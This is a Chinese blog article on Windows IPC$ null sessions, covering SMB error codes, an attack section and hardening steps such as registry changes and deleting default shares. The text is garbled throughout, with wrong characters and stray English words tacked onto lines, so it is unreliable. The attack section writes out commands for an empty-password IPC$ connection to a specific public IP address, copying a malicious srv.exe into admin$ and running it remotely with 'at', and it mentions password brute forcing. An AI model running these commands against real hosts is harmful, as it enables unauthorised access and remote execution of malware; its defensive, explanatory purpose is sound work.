IPC$概念及入侵方式研究

cataloguehtml

1. 什么是IPC$
2. IPC$攻击方式
3. 漏洞检测与防护措施

 

1. 什么是IPC$windows

IPC$(空会话链接)是windows系统内置的一个功能模块,它的做用有不少(包括域账号枚举),可是其中对于攻击者最关心地仍是它的网络文件共享能力,它容许本机的进程/服务以命名管道(named pipe)的形式链接链接上来以实现文件的共享传输,根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限服务器

对于IPC$的概念,咱们有几点要明白网络

1. IPC$和windows的SMB共享都是复用了445端口,它们都基于SMB协议实现,可是IPC$的做用范围更大一些,它是服务器间进程间通讯方式
    1) 能够枚举账号: 固然对方服务器也能够禁用枚举
    2) 共享文件: 基于命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 执行系统指令

2. IPC$的登陆验证方式可分为
    1) 匿名anonymous IPC$: 空帐号,空密码可访问,可是匿名IPC$的权限每每较低
    2) 非匿名IPC$: 须要账号密码的验证,不过这反过来也为黑客提供了一种暴力破解windows系统帐户密码的方式
3. IPC$登陆后共享哪些目录/文件是能够配置的,若是该共享目录/文件的列表为空,则IPC$登陆后没法进行文件共享。早上windows server系统上默认配置了几个IPC$共享目录
    1) 全部的逻辑盘(c$,d$,e$……)
    2) 系统目录winnt或windows(admin$)

0x1: IPC$链接常见错误session

错误号5(拒绝访问):极可能你使用的用户不是管理员权限的,先提高权限  
错误号51(Windows没法找到网络路径): 网络有问题; 
错误号53(找不到网络路径):
    1) ip地址错误
    2) 目标未开机
    3) 目标lanmanserver服务未启动
    4) 目标有防火墙(端口过滤) 
错误号67(找不到网络名):
    1) 你的lanmanworkstation服务未启动
    2) 目标删除了ipc$  
错误号1219(提供的凭据与已存在的凭据集冲突):你已经和对方创建了一个ipc$,请删除再连 
错误号1326(未知的用户名或错误密码)  
错误号1792(试图登陆,可是网络登陆服务没有启动): 目标NetLogon服务未启动(链接域控会出现此状况) 
错误号2242(此用户的密码已通过期):目标有账号策略,强制按期要求更改密码  

Relevant Link:app

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

 

2. IPC$攻击方式工具

0x1: administrator空口令链接ui

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上传恶意样本spa

copy srv.exe \\121.40.65.98\admin$

咱们能够指定把srv.exe复制到目标系统的任何共享目录中.net

0x3: 在目标系统执行系统指令

net time \\127.0.0.1 
\\127.0.0.1 的当前时间是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快)
  
net time \\127.0.0.1
若是时间到了,就说明指令已经执行了

0x4: 利用IPC$进行密码爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

 

3. 漏洞检测与防护措施

0x1: 检测本机IPC$共享目录

经过net share列出本机开放的共享目录,理论上这些都应该删掉,为了黑客利用445漏洞入侵后将恶意文件植入相似admin$这种系统核心目录

0x2: 禁止空链接进行枚举

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的键值改成:00000001

0x3: 禁止默认共享

1. 察看本地共享资源: net share
2. 删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(若是有e,f,……能够继续删除)

3. 中止server服务: net stop server /y(从新启动后server服务会从新开启)
4. 禁止server服务器自启动

5. 修改注册表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的键值改成:00000000。 
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的键值改成:00000000。 
# 若是上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值  

0x4: 永久关闭ipc$和默认共享依赖的服务: lanmanserver即server服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

相关文章
相关标签/搜索